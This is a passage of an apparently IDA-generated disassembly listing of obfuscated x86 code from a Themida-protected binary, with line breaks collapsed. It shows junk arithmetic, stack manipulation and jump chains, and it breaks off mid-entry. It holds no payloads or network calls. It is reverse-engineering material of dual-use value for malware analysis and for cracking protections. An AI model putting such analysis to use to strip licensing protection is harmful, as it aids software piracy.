loc_59C96F ; --------------------------------------------------------------------------- loc_5A80AF: ; CODE XREF: Themida_:0059A996j mov eax, 5C5C53DAh and edi, eax pop eax not edi jmp loc_5AA687 ; --------------------------------------------------------------------------- loc_5A80BE: ; CODE XREF: Themida_:005A214Ej mov edi, ecx pop ecx push eax jmp loc_5A971C ; --------------------------------------------------------------------------- loc_5A80C7: ; CODE XREF: Themida_:005A37DBj shl ch, 8 js loc_5A9FCF inc ch add ch, 0C1h mov dl, ch mov ecx, [esp] jmp loc_5A01EE ; --------------------------------------------------------------------------- loc_5A80DF: ; CODE XREF: Themida_:0059A404j mov edi, 71FEBFBh sub eax, edi pop edi jmp loc_59955B ; --------------------------------------------------------------------------- loc_5A80EC: ; CODE XREF: Themida_:0059F5D3j pop ebp mov edx, esi pop esi sub ebx, 242F4F00h sub ebx, edx add ebx, 242F4F00h pop edx add ebx, 49B36512h pop eax add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5AC91A ; --------------------------------------------------------------------------- loc_5A811A: ; CODE XREF: Themida_:005995FAj or bl, 95h jno loc_59B49F push dx mov dl, 0EEh xor bl, dl pop dx xor bh, 46h loc_5A812E: ; CODE XREF: Themida_:005AD89Fj add edi, 4 xchg edi, [esp] pop esp mov edx, 20CFEA06h add edx, edi jmp loc_5A200C ; --------------------------------------------------------------------------- loc_5A8144: ; CODE XREF: Themida_:0059EBBEj add eax, edx pop edx jmp loc_59C174 ; --------------------------------------------------------------------------- loc_5A814C: ; CODE XREF: Themida_:0059BAE3j push 7908h mov [esp], ebx mov ebx, 5BE04609h shl ebx, 2 shr ebx, 5 jmp loc_59D2AB ; --------------------------------------------------------------------------- loc_5A8164: ; CODE XREF: Themida_:005AC3A6j add edx, 6D4F1B36h add edx, esi sub edx, 6D4F1B36h pop esi jmp loc_5A2615 ; --------------------------------------------------------------------------- loc_5A8178: ; CODE XREF: Themida_:0059AAE5j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A817D: ; CODE XREF: Themida_:005A13D1j add ecx, 0E4AAD8D8h sub edi, 5C3C73F9h sub edi, ecx add edi, 5C3C73F9h pop ecx push eax push ebx mov ebx, esp add ebx, 4 jmp loc_5A4170 ; --------------------------------------------------------------------------- loc_5A81A1: ; CODE XREF: Themida_:005AAD74j inc ebp xor ebp, 36297F7Ch xor ebp, 0CCF0F770h add ecx, ebp pop ebp and ecx, 58581B01h add ecx, 1F515DB3h xor ecx, 40D01B16h push eax mov eax, 0B43A0BB9h sub ecx, eax pop eax sub edx, 45EC119Ah sub edx, ecx push ecx jmp loc_59E35F ; --------------------------------------------------------------------------- loc_5A81DA: ; CODE XREF: Themida_:005AB4BAj sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], edx mov edx, 3ACB1718h push 9D5h mov [esp], esi mov esi, 5A0E677Eh add esi, 82B5FD95h push esi sub dword ptr [esp], 70271F09h pop ecx jmp loc_5ADFA3 ; --------------------------------------------------------------------------- loc_5A8213: ; DATA XREF: Themida_:0059874Co lodsd xor eax, ebx jmp loc_59C44B ; --------------------------------------------------------------------------- loc_5A821B: ; CODE XREF: Themida_:0059EED9j push ecx mov ecx, esp jmp loc_5A53A7 ; --------------------------------------------------------------------------- loc_5A8223: ; CODE XREF: Themida_:005A1E9Aj sub ecx, 0B363A00h sub ecx, ebx add ecx, 0B363A00h pop ebx dec ecx add ecx, 32D215E7h sub eax, 24C66799h jmp loc_59F836 ; --------------------------------------------------------------------------- loc_5A8243: ; CODE XREF: Themida_:005ABEA0j rep movsd add esp, [edx+38h] push ebx push 3AA1h mov [esp], ecx push 4B9146FBh pop ecx xor ecx, 3E6C5EB6h xor ecx, 26FC7403h push eax jmp loc_5A9928 ; --------------------------------------------------------------------------- loc_5A8269: ; CODE XREF: Themida_:005AEFB9j push dword ptr [esp+4] pop ebx jmp loc_5A272F ; --------------------------------------------------------------------------- loc_5A8273: ; CODE XREF: Themida_:loc_5A9112j xor ebp, 3840200Ch jp loc_5A4AB9 inc ebp jmp loc_5A325F ; --------------------------------------------------------------------------- add ecx, edi sub ecx, 364136E6h pop ebx loc_5A828E: ; CODE XREF: Themida_:0059D7ACj push dword ptr [esp] pop eax sub esp, 4 jmp loc_5A2844 ; --------------------------------------------------------------------------- loc_5A829D: ; CODE XREF: Themida_:005A7314j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, 58706B83h neg esi sub esi, 91191D2Eh push edi mov edi, 1676774Bh sub esi, edi pop edi sub eax, 42A572C8h add eax, esi add eax, 42A572C8h jmp loc_59AD88 ; --------------------------------------------------------------------------- loc_5A82D7: ; CODE XREF: Themida_:005A2E7Ej xor ecx, 1C9F53E8h jmp loc_59E986 ; --------------------------------------------------------------------------- loc_5A82E2: ; CODE XREF: Themida_:005A7649j neg ecx jmp loc_5AAEB1 ; --------------------------------------------------------------------------- loc_5A82E9: ; CODE XREF: Themida_:0059985Ej pop edi jmp loc_59B843 ; --------------------------------------------------------------------------- loc_5A82EF: ; CODE XREF: Themida_:005AA8E7j pop edx mov [ebx], cl mov ecx, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push dword ptr [esp] pop ebx add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A831E: ; CODE XREF: Themida_:0059D9B2j pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_598C18 ; --------------------------------------------------------------------------- loc_5A8332: ; CODE XREF: Themida_:005A7842j sub esi, ebp pop ebp sub esi, 7C546BCCh add esi, edx add esi, 7C546BCCh add esi, 305B7678h pop edx xor esi, [esp] xor [esp], esi jmp loc_5A02AF ; --------------------------------------------------------------------------- loc_5A8355: ; CODE XREF: Themida_:0059B376j xchg eax, [esp] mov esp, [esp] mov [esp], ebx mov bh, 0A2h not bh add bh, 51h add al, bh pop ebx add al, 3Fh jmp loc_5ABD39 ; --------------------------------------------------------------------------- loc_5A836F: ; CODE XREF: Themida_:005A3075j or ebp, 738A53AEh jmp loc_5AD9B3 ; --------------------------------------------------------------------------- loc_5A837A: ; CODE XREF: Themida_:0059E10Ej push ebx mov ebx, 4D1B3ED5h add edx, ebx pop ebx push ecx jmp loc_5A09C9 ; --------------------------------------------------------------------------- loc_5A8389: ; CODE XREF: Themida_:005A9AA7j and dx, 0A64h sub esp, 2 mov [esp], ax mov ax, 50D2h push 2986h mov [esp], ebp mov bp, 0F2h sub bp, 1345h or bp, 2D4Ah add bp, 7C1Fh add bp, 0DF3Bh add dx, 41B4h add dx, bp sub dx, 41B4h pop ebp add dx, ax jmp loc_5A11B2 ; --------------------------------------------------------------------------- loc_5A83CF: ; CODE XREF: Themida_:005AF3CDj mov [esp], eax mov eax, 7E095FE9h inc eax or eax, 719977B7h jmp loc_5A7C30 ; --------------------------------------------------------------------------- loc_5A83E2: ; CODE XREF: Themida_:loc_59A356j inc edi jle loc_599856 xor edi, 4CB74890h mov ecx, edi jmp loc_5A3865 ; --------------------------------------------------------------------------- loc_5A83F6: ; CODE XREF: Themida_:005ADB97j mov ebp, ebx mov ebx, [esp] add esp, 4 sub edi, ebp pop ebp jmp loc_598BC6 ; --------------------------------------------------------------------------- loc_5A8406: ; CODE XREF: Themida_:005A697Cj mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp push edi jmp loc_5A663B ; --------------------------------------------------------------------------- loc_5A8417: ; CODE XREF: Themida_:0059B8F8j pop edi shr esi, 6 push ecx mov ecx, 0FFFFFFFFh sub esi, ecx pop ecx push edi push esp pop edi add edi, 4 push ecx mov ecx, 4 sub edi, ecx pop ecx xchg edi, [esp] pop esp mov [esp], eax jmp loc_5A319A ; --------------------------------------------------------------------------- loc_5A8442: ; CODE XREF: Themida_:005A0204j xor edx, 77D28D37h push esi mov esi, edx jmp loc_5A1F1A ; --------------------------------------------------------------------------- loc_5A8450: ; CODE XREF: Themida_:005A3D9Dj sub [esp+4], ecx jmp loc_5A765E ; --------------------------------------------------------------------------- loc_5A8459: ; CODE XREF: Themida_:005AC1ECj xor ebx, 73DA5DECh jl loc_5ACBC4 push edi jmp loc_59D351 ; --------------------------------------------------------------------------- mov ebp, [esp] mov dh, 0C0h loc_5A8471: ; CODE XREF: Themida_:005ADEEAj sub ecx, 37BE16E7h or ecx, 18961EEh or ecx, 2EBB7F5Dh jmp loc_5AC64A ; --------------------------------------------------------------------------- loc_5A8488: ; CODE XREF: Themida_:005A9C49j not ebp xor ebp, 3BE66E6Ah sub ebp, 3D9EF6FDh mov edx, ebp pop ebp jmp loc_5994AE ; --------------------------------------------------------------------------- loc_5A849E: ; CODE XREF: Themida_:005A8A96j shl dword ptr [edx+38h], 5 jmp loc_5AD346 ; --------------------------------------------------------------------------- loc_5A84A7: ; CODE XREF: Themida_:005A94CEj push eax push 922h mov [esp], ebx mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4E8A28E9h sub ebp, 2AF26C9Bh jp loc_59DBA5 jmp loc_5AAEB1 ; --------------------------------------------------------------------------- dec esi shr esi, 7 mov ebp, edi loc_5A84D9: ; CODE XREF: Themida_:005A8566j pop edx xchg ebx, [esp] mov esp, [esp] mov [esp], esi jmp loc_5A9930 ; --------------------------------------------------------------------------- loc_5A84E8: ; CODE XREF: Themida_:005A3F50j mov edx, [esp] push esi jmp loc_59E381 ; --------------------------------------------------------------------------- loc_5A84F1: ; CODE XREF: Themida_:005A6243j shr eax, 2 jmp loc_59EF64 ; --------------------------------------------------------------------------- loc_5A84F9: ; CODE XREF: Themida_:005A1C9Dj add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], eax push 80h push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_59AE9E ; --------------------------------------------------------------------------- loc_5A851B: ; CODE XREF: Themida_:005A7D46j pop edi not edi shl edi, 4 xor edi, 2F9853D1h mov edx, edi pop edi mov edi, 3C200413h sub edi, 67CE228Dh jmp loc_5AC728 ; --------------------------------------------------------------------------- loc_5A853A: ; CODE XREF: Themida_:0059A097j push edx push 5691F604h pop edx xor ebx, edx jmp loc_5AECF3 ; --------------------------------------------------------------------------- loc_5A8548: ; CODE XREF: Themida_:005A2C15j xor ebx, 998AEF4Dh mov ebp, ebx pop ebx add ebp, 7B151F88h not ebp push 0 jmp loc_5A17AC ; --------------------------------------------------------------------------- loc_5A8563: ; CODE XREF: Themida_:0059E608j pop ecx sub ebx, edx jmp loc_5A84D9 ; --------------------------------------------------------------------------- loc_5A856B: ; CODE XREF: Themida_:00598FAAj push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5AF8E2 ; --------------------------------------------------------------------------- loc_5A8579: ; CODE XREF: Themida_:005A894Aj ; Themida_:005AD9AEj add edi, esi pop esi jmp loc_59BDCC ; --------------------------------------------------------------------------- loc_5A8581: ; CODE XREF: Themida_:005A424Aj push 7493h mov [esp], eax mov eax, esp push 2B00h mov [esp], ebx mov ebx, 25D0578Dh jmp loc_5AB0CC ; --------------------------------------------------------------------------- loc_5A859D: ; CODE XREF: Themida_:005A16ABj mov ecx, ebx pop ebx or ecx, 339E56A4h sub ecx, 156A4AF9h and ecx, 6F3D5D42h jp loc_59E47E add ecx, 99EBEEC4h jmp loc_59EF59 ; --------------------------------------------------------------------------- loc_5A85C3: ; CODE XREF: Themida_:005A87C9j mov esp, [esp] jmp loc_599F7A ; --------------------------------------------------------------------------- loc_5A85CB: ; CODE XREF: Themida_:005AEEE0j add dword ptr [esp], 72DD7DABh pop ebp sub ebp, 72DD7DABh mov ebx, [esp] add esp, 4 push ebx mov ebx, 4CB07523h xor ebp, ebx pop ebx push ebp not dword ptr [esp] pop ebp push eax push 6BE6h mov [esp], esi mov esi, 433659A2h inc esi jnp loc_59BA5E shr esi, 4 jmp loc_5A11A1 ; --------------------------------------------------------------------------- loc_5A860A: ; CODE XREF: Themida_:00598D14j add ebx, edi add ebx, 1C691E58h jmp loc_5AC70A ; --------------------------------------------------------------------------- loc_5A8617: ; CODE XREF: Themida_:00598F29j ; Themida_:005A5CF0j push dword ptr [esp+4] jmp loc_5A664D ; --------------------------------------------------------------------------- loc_5A8620: ; CODE XREF: Themida_:005A555Aj xor eax, 0BC23A9h jmp loc_59E083 ; --------------------------------------------------------------------------- loc_5A862A: ; CODE XREF: Themida_:005A8C96j sub edi, 348D12E4h add edi, ebp add edi, 348D12E4h pop ebp xchg edi, [esp] pop esp xchg edx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_59C30E ; --------------------------------------------------------------------------- loc_5A864B: ; CODE XREF: Themida_:005A33AEj mov edx, esp jmp loc_5A5962 ; --------------------------------------------------------------------------- loc_5A8652: ; DATA XREF: Themida_:005986F0o mov cx, [esp] push edx push esp pop edx sub esp, 4 mov [esp], eax jmp loc_5998D2 ; --------------------------------------------------------------------------- loc_5A8664: ; CODE XREF: Themida_:005AB0B6j push esi mov esi, 33495B20h jmp loc_5A884C ; --------------------------------------------------------------------------- loc_5A866F: ; CODE XREF: Themida_:0059E6D2j pop esp add edi, ecx push 1060h mov [esp], ebp sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 push 40A8h mov [esp], eax jmp loc_5A8D77 ; --------------------------------------------------------------------------- loc_5A8698: ; CODE XREF: Themida_:005A0C0Bj ; Themida_:005AAB52j push dword ptr [esp] mov eax, [esp] jmp loc_5A35BC ; --------------------------------------------------------------------------- loc_5A86A3: ; CODE XREF: Themida_:0059993Aj dec edx jnz loc_59DAC5 dec edx add edx, 0DE34BAFAh mov eax, 0BBD040Fh loc_5A86B6: ; CODE XREF: Themida_:005A5F14j mov esi, 1E075B47h jmp loc_5ADC6D ; --------------------------------------------------------------------------- loc_5A86C0: ; CODE XREF: Themida_:005A498Ej push edi jmp loc_5AEBC4 ; --------------------------------------------------------------------------- loc_5A86C6: ; CODE XREF: Themida_:005AFB56j xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_59C6E7 ; --------------------------------------------------------------------------- loc_5A86D7: ; CODE XREF: Themida_:0059ED0Ej add ebx, 1D175831h add ebx, 3BA31BD9h sub ebx, ebp jmp loc_59FB0C ; --------------------------------------------------------------------------- loc_5A86EA: ; CODE XREF: Themida_:005A0DFDj mov [esp], eax xchg edi, [esp] push edi jmp loc_5AF458 ; --------------------------------------------------------------------------- loc_5A86F6: ; CODE XREF: Themida_:005A0CD6j xchg edx, [esp] pop esp push esp pop dword ptr [esp] push ebp mov ebp, 23FE5683h add ebp, 6FFC765Dh or ebp, 252E29h shr ebp, 4 jnp loc_5A9112 jmp loc_5AEC14 ; --------------------------------------------------------------------------- loc_5A871E: ; CODE XREF: Themida_:005A9AB7j and edi, 71331206h sub edi, 46ADDB31h sub ecx, 613246D4h sub ecx, edi add ecx, 613246D4h pop edi push edx mov edx, 0ED2333EBh jmp loc_5A778A ; --------------------------------------------------------------------------- loc_5A8744: ; CODE XREF: Themida_:005A63BCj sub ebx, 0D582F830h and edx, ebx mov ebx, [esp] add esp, 4 push 756Ch mov [esp], ecx mov ecx, 562C6ADAh xor edx, ecx jmp loc_5ABD78 ; --------------------------------------------------------------------------- loc_5A8769: ; CODE XREF: Themida_:0059C11Ej add esp, 4 sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] or eax, eax jz loc_59DB9D push dword ptr [edi+28h] push eax push 0B60h jmp loc_5A4266 ; --------------------------------------------------------------------------- loc_5A87A2: ; CODE XREF: Themida_:005A56FAj add esi, 1 push edi mov edi, 0B0391DCFh sub esi, edi pop edi jmp loc_59A93C ; --------------------------------------------------------------------------- loc_5A87B6: ; CODE XREF: Themida_:005A5E35j ; Themida_:005AF00Bj pop eax add esp, 4 push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] jmp loc_5A85C3 ; --------------------------------------------------------------------------- loc_5A87CE: ; CODE XREF: Themida_:005AE11Bj jnp loc_5AFB0F jmp loc_59B164 ; --------------------------------------------------------------------------- pop esi sub esp, 4 jmp loc_59F6A0 ; --------------------------------------------------------------------------- loc_5A87E2: ; CODE XREF: Themida_:005AE73Aj sub esp, 4 mov [esp], ebx jmp loc_5A7919 ; --------------------------------------------------------------------------- loc_5A87F0: ; CODE XREF: Themida_:005AF7D6j pop esp add edx, 198D4A71h jmp loc_5AE9B5 ; --------------------------------------------------------------------------- loc_5A87FC: ; CODE XREF: Themida_:005A5708j mov edi, 6F97239Fh push ebx jmp loc_59A4B7 ; --------------------------------------------------------------------------- loc_5A8807: ; CODE XREF: Themida_:005ACAB3j pop ebx sub eax, 63FA393Eh sub eax, ecx add eax, 63FA393Eh jmp loc_5A1F4B ; --------------------------------------------------------------------------- loc_5A8819: ; CODE XREF: Themida_:0059999Ej add ebx, esi jmp loc_5AA8EC ; --------------------------------------------------------------------------- loc_5A8820: ; CODE XREF: Themida_:005A428Ej push esi mov esi, 500D0F58h sub esp, 4 jmp loc_5A9F6C ; --------------------------------------------------------------------------- loc_5A882E: ; CODE XREF: Themida_:005A8EA3j xor ecx, edi pop edi push edx mov edx, 2CEB29FAh sub eax, edx jmp loc_5A2981 ; --------------------------------------------------------------------------- loc_5A883E: ; CODE XREF: Themida_:0059ABBFj add ecx, 4 add ecx, 4 jmp loc_59D9B7 ; --------------------------------------------------------------------------- loc_5A884C: ; CODE XREF: Themida_:005A866Aj xor esi, 0B4F227Bh or esi, 2D1E3EBBh jmp loc_5ACDCF ; --------------------------------------------------------------------------- loc_5A885D: ; CODE XREF: Themida_:0059BFA6j mov [esp], eax push edi push ebp mov ebp, 30DE2F49h jmp loc_59EDAC ; --------------------------------------------------------------------------- loc_5A886C: ; CODE XREF: Themida_:0059961Bj push 6B93h mov [esp], esi mov esi, esp push edi mov edi, 4F921EF1h jmp loc_5A7E05 ; --------------------------------------------------------------------------- loc_5A8881: ; DATA XREF: Themida_:0059882Co mov ax, [esp] sub esp, 4 mov [esp], eax push esp mov eax, [esp] add esp, 4 push 5AA5h mov [esp], ebx mov ebx, 4 sub eax, 96B6E09h add eax, ebx push edi sub esp, 4 mov [esp], eax mov eax, 633764Eh mov edi, 50B8E150h sub edi, eax pop eax xor edi, 43EE050Bh sub eax, 58576824h add eax, edi push esi jmp loc_59B427 ; --------------------------------------------------------------------------- loc_5A88D0: ; CODE XREF: Themida_:005A194Fj sub ecx, 0C1910FB7h jmp loc_5A9E95 ; --------------------------------------------------------------------------- loc_5A88DB: ; CODE XREF: Themida_:005A5A8Bj ; Themida_:005A796Fj pop esp mov [esp], ebx push ebp mov ebp, 2 mov ebx, ebp jmp loc_5A8AE0 ; --------------------------------------------------------------------------- loc_5A88EC: ; CODE XREF: Themida_:005AFB18j mov [esp], edi push dword ptr [esp+4] mov edi, [esp] jmp loc_5A6D48 ; --------------------------------------------------------------------------- loc_5A88FB: ; CODE XREF: Themida_:005AC224j push cx pushf jmp loc_5AE1B3 ; --------------------------------------------------------------------------- loc_5A8903: ; CODE XREF: Themida_:loc_5AD280j sub esp, 4 mov [esp], eax mov eax, 5F3B31CAh shl eax, 1 jmp loc_5A8DA2 ; --------------------------------------------------------------------------- loc_5A8915: ; CODE XREF: Themida_:0059F9DBj push 2E7Fh jmp loc_5A466C ; --------------------------------------------------------------------------- loc_5A891F: ; CODE XREF: Themida_:005A7FADj push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], edi push 1DECh mov [esp], ebx push esp jmp loc_5991AE ; --------------------------------------------------------------------------- loc_5A8939: ; CODE XREF: Themida_:005AB78Fj xor cl, dh xor dh, cl jmp loc_5A6C8E ; --------------------------------------------------------------------------- loc_5A8942: ; CODE XREF: Themida_:0059ED4Bj sub esi, ebp pop ebp mov edi, 0E0D7FFF7h jmp loc_5A8579 ; --------------------------------------------------------------------------- loc_5A894F: ; CODE XREF: Themida_:0059D5EFj inc ebp add ebp, 0D648FBC7h xor edx, ebp jmp loc_59E42C ; --------------------------------------------------------------------------- loc_5A895D: ; CODE XREF: Themida_:005AC0D7j mov dh, 7Fh jmp loc_5A1FCA ; --------------------------------------------------------------------------- loc_5A8964: ; CODE XREF: Themida_:0059E3A3j add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_59F5FD ; --------------------------------------------------------------------------- loc_5A897E: ; CODE XREF: Themida_:005A394Ej mov edx, 34CE41F2h add ebx, edx pop edx push 1B7Eh mov [esp], ecx jmp loc_5AA8D6 ; --------------------------------------------------------------------------- loc_5A8993: ; CODE XREF: Themida_:005A97FFj push edi mov edi, 535A3417h jmp loc_5A30D9 ; --------------------------------------------------------------------------- loc_5A899E: ; CODE XREF: Themida_:005AECD2j pop esp push edi mov edi, 430B6150h add edi, 0FFFFFFFFh push edi xchg ebp, [esp] jmp loc_5A114E ; --------------------------------------------------------------------------- loc_5A89B1: ; CODE XREF: Themida_:005A5359j or ebp, 340C2D94h xor ebp, 3D6A4AB6h add ecx, 14350F77h sub ecx, 0D961A3Bh sub ecx, ebp add ecx, 0D961A3Bh sub ecx, 14350F77h pop ebp jmp loc_59A6C5 ; --------------------------------------------------------------------------- loc_5A89DD: ; CODE XREF: Themida_:005A6022j mov ebp, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] xor ebp, [esp] jmp loc_59E248 ; --------------------------------------------------------------------------- loc_5A89F4: ; CODE XREF: Themida_:005AB512j add ebp, 4 push edx mov edx, 4 sub ebp, 1F097EF7h add ebp, edx add ebp, 1F097EF7h pop edx xchg ebp, [esp] jmp loc_59BC30 ; --------------------------------------------------------------------------- loc_5A8A17: ; CODE XREF: Themida_:005A3D80j add esp, 4 neg esi or esi, 74882515h add esi, 532317Ah xor ecx, esi pop esi push esi jmp loc_59B8EB ; --------------------------------------------------------------------------- loc_5A8A34: ; CODE XREF: Themida_:005A93FEj inc ebp jg loc_5A77C4 jmp loc_5A223B ; --------------------------------------------------------------------------- xor edx, 5414589Ch pop eax loc_5A8A47: ; CODE XREF: Themida_:0059ABD3j push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_5ADCA2 ; --------------------------------------------------------------------------- loc_5A8A63: ; CODE XREF: Themida_:005A3250j mov ax, [esp] jmp loc_59EA63 ; --------------------------------------------------------------------------- loc_5A8A6C: ; CODE XREF: Themida_:005A98DFj and dh, 0F2h or dh, 0C2h jp loc_59E336 not dh jmp loc_5AEFF4 ; --------------------------------------------------------------------------- mov edx, ebx xor al, 40h loc_5A8A83: ; CODE XREF: Themida_:0059FDBBj inc ecx jnp loc_5AF8E2 jmp loc_59B00B ; --------------------------------------------------------------------------- loc_5A8A8F: ; CODE XREF: Themida_:005AB870j or dword ptr [edx+38h], 43762E44h jnb loc_5A849E shl dword ptr [edx+38h], 5 jmp loc_5A256D ; --------------------------------------------------------------------------- push eax mov edx, edx push ebp loc_5A8AA9: ; CODE XREF: Themida_:005A2F3Fj jnp loc_5A7C1A inc ebp jg loc_59BC65 push eax mov eax, 1 jmp loc_5A098E ; --------------------------------------------------------------------------- pop eax pop ecx loc_5A8AC3: ; CODE XREF: Themida_:005A53B3j xchg ecx, [esp] pop esp mov [esp], bx push edx mov dl, 56h push ecx push ebx jmp loc_5A5ABF ; --------------------------------------------------------------------------- loc_5A8AD5: ; CODE XREF: Themida_:005AC0AFj push edx mov edx, 78320882h jmp loc_5A0A99 ; --------------------------------------------------------------------------- loc_5A8AE0: ; CODE XREF: Themida_:005A88E7j pop ebp add ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_5AC36B ; --------------------------------------------------------------------------- loc_5A8AF1: ; CODE XREF: Themida_:0059A22Aj pop edi jmp loc_5AE85E ; --------------------------------------------------------------------------- loc_5A8AF7: ; CODE XREF: Themida_:005AF9A8j xchg ebp, edi not ebp xchg ebp, edi add edi, 3FD652D3h sub edi, 754348DAh sub esi, edi mov edi, [esp] add esp, 4 jmp loc_5AACB8 ; --------------------------------------------------------------------------- loc_5A8B16: ; CODE XREF: Themida_:005A5525j mov al, 9Eh dec al jmp loc_59B37B ; --------------------------------------------------------------------------- loc_5A8B1F: ; CODE XREF: Themida_:005AA0FDj add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5A71E1 ; --------------------------------------------------------------------------- loc_5A8B31: ; CODE XREF: Themida_:005989F8j add esp, 4 add esp, 4 push ebp jmp loc_5AB39F ; --------------------------------------------------------------------------- loc_5A8B40: ; CODE XREF: Themida_:005AE6DDj jnz loc_5AD0FA jmp loc_5A8F0C ; --------------------------------------------------------------------------- push edx push ecx push 1E52883h pop ecx push ecx loc_5A8B54: ; CODE XREF: Themida_:0059C248j or cl, 2Bh xor cl, 0CFh add dl, cl pop ecx or ah, dl pop edx add ah, 0 mov ch, ah pop eax or ch, 2Ah shr ch, 1 jmp loc_5A0409 ; --------------------------------------------------------------------------- loc_5A8B70: ; CODE XREF: Themida_:0059CEDBj inc ebp jmp loc_59D5E0 ; --------------------------------------------------------------------------- loc_5A8B76: ; CODE XREF: Themida_:005AAD20j add esp, 4 jmp loc_5A74FF ; --------------------------------------------------------------------------- loc_5A8B81: ; CODE XREF: Themida_:0059E976j push ebp push edi jmp loc_5A3E87 ; --------------------------------------------------------------------------- loc_5A8B88: ; CODE XREF: Themida_:0059AD62j inc edx jnz loc_5A34BD shr edx, 4 jz loc_5A42FE mov bl, 0DAh push edi loc_5A8B9B: ; CODE XREF: Themida_:005A25F1j add esp, 4 movzx eax, al jmp loc_59F8F2 ; --------------------------------------------------------------------------- loc_5A8BA9: ; CODE XREF: Themida_:005A6D36j pop ebp add esp, 4 loc_5A8BB0: ; CODE XREF: Themida_:0059A393j push 59F7h mov [esp], ecx push eax mov eax, 3E732A59h sub eax, 330A7263h xor eax, 621B3647h jmp loc_5A9804 ; --------------------------------------------------------------------------- loc_5A8BCD: ; CODE XREF: Themida_:005ACCD6j neg ebx dec ebx neg ebx jnb loc_5A1C0B jmp loc_59DCF2 ; --------------------------------------------------------------------------- loc_5A8BDD: ; CODE XREF: Themida_:005AF2CFj not ebx xor ebx, 5DCF7AC2h jo loc_5A6F42 add ebx, 662674F9h xor ebx, 0E1DB7EFDh push ebx jmp loc_5AAC11 ; --------------------------------------------------------------------------- loc_5A8BFD: ; CODE XREF: Themida_:005A7804j mov ecx, esi jmp loc_5A94ED ; --------------------------------------------------------------------------- loc_5A8C04: ; CODE XREF: Themida_:005AE9C2j push edx push ecx mov ecx, 23CE588Ch push ebx mov ebx, 10F5AA11h mov edx, ebx pop ebx add edx, ecx jmp loc_5AD527 ; --------------------------------------------------------------------------- loc_5A8C1B: ; CODE XREF: Themida_:005AEA77j mov ebp, ebx jmp loc_5A1FF3 ; --------------------------------------------------------------------------- loc_5A8C22: ; CODE XREF: Themida_:005A1C7Ej ; Themida_:005A21BFj push ebx jmp loc_5A9107 ; --------------------------------------------------------------------------- loc_5A8C28: ; CODE XREF: Themida_:005AFDA3j not esi xor esi, 4CC30AEAh jl loc_5ACA82 jmp loc_59F89E ; --------------------------------------------------------------------------- push edi and bh, 0D0h pop edx loc_5A8C40: ; CODE XREF: Themida_:005ADDE6j push 1DA0h mov [esp], esi jmp loc_59BFB5 ; --------------------------------------------------------------------------- loc_5A8C4D: ; CODE XREF: Themida_:005A7CA8j ; Themida_:005AC1CFj or eax, edi pop edi shr eax, 5 sub eax, 1 xor eax, 766B4455h add edi, eax pop eax push ebx mov ebx, 0FE3563Fh add edi, ebx pop ebx sub edi, 35F8666Ch push dword ptr [esp] pop eax sub esp, 4 mov [esp], eax mov eax, esp jmp loc_5A3719 ; --------------------------------------------------------------------------- loc_5A8C7E: ; CODE XREF: Themida_:005AD2CFj jbe loc_5A1099 add ebp, 18D9CE2Ch sub [esp+4], ebp mov ebx, edi push ebx loc_5A8C91: ; CODE XREF: Themida_:0059E57Bj mov ebp, 4 jmp loc_5A862A ; --------------------------------------------------------------------------- loc_5A8C9B: ; CODE XREF: Themida_:005A0B1Ej xor ch, 0C6h sub al, 0A4h sub al, ch add al, 0A4h jmp loc_5A0272 ; --------------------------------------------------------------------------- loc_5A8CA9: ; CODE XREF: Themida_:0059AF5Ej pop esp mov ebx, [esp] jmp loc_5A69AE ; --------------------------------------------------------------------------- loc_5A8CB2: ; CODE XREF: Themida_:005AF389j push edi push edx mov edx, 2D634804h mov edi, 61665F4h jmp loc_5AB28F ; --------------------------------------------------------------------------- loc_5A8CC3: ; CODE XREF: Themida_:0059AEE5j push ebp mov ebp, 7FB70AB4h sub ebx, 676F6408h add ebx, ebp add ebx, 676F6408h mov ebp, [esp] add esp, 4 jmp loc_5A737C ; --------------------------------------------------------------------------- loc_5A8CE5: ; CODE XREF: Themida_:005A4179j pop esp mov [esp], ebp push edx jmp loc_5A59CF ; --------------------------------------------------------------------------- loc_5A8CEF: ; CODE XREF: Themida_:loc_5A0180j dec edx jns loc_59B754 sub edx, 0FFFFFFFFh sub edx, 65B9A54h mov ecx, edx pop edx mov bl, ch push edx loc_5A8D05: ; CODE XREF: Themida_:005A327Dj pop ebx jmp loc_5AAF83 ; --------------------------------------------------------------------------- loc_5A8D0B: ; CODE XREF: Themida_:0059C599j and edi, 4E8C53A5h xor edi, 0DF6AB455h jmp loc_599944 ; --------------------------------------------------------------------------- loc_5A8D1C: ; CODE XREF: Themida_:0059F608j add [esp], eax add dword ptr [esp], 136F2CB3h push ebp jmp loc_5AC950 ; --------------------------------------------------------------------------- loc_5A8D2C: ; CODE XREF: Themida_:005A1F05j pop edx push ebx jmp loc_5AB517 ; --------------------------------------------------------------------------- loc_5A8D33: ; CODE XREF: 